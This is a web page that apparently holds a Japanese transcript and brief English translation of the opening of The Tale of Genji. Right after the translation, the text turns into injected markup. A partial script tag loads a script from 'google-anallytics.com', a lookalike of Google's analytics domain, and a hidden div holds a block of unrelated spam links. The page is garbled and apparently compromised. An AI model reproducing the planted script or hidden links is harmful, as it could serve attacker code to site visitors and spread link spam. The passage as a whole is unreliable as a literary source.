Transcript of sound file:
いつの御世のことでしたか、女御や更衣が賑々しくお仕えしておりました帝の後宮に、それほど高貴な家柄のご出身ではないのに、帝に誰よりも愛されて、はなばなしく優遇されていらっしゃる更衣がありました。
はじめから、自分こそは君寵第一にとうぬぼれておられた女御たちは心外で腹立たしく、この更衣をたいそう軽蔑したり、嫉妬したりしています。まして更衣と同じほどの身分か、それより低い地位の更衣たちは、気持ちのおさまりようがありません。


Translation:
In a certain imperial reign there was, from among the many fine and grand ladies of the court, one particular lady named 'Kiritsubo' or' Lady of the Paulownia Court' who, while not of the highest rank, was adored by the Emperor above all others. Because of the jealousy this aroused with the ot her ladies, Kiritsubo had to endure all manner ofunpleasant torments.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>
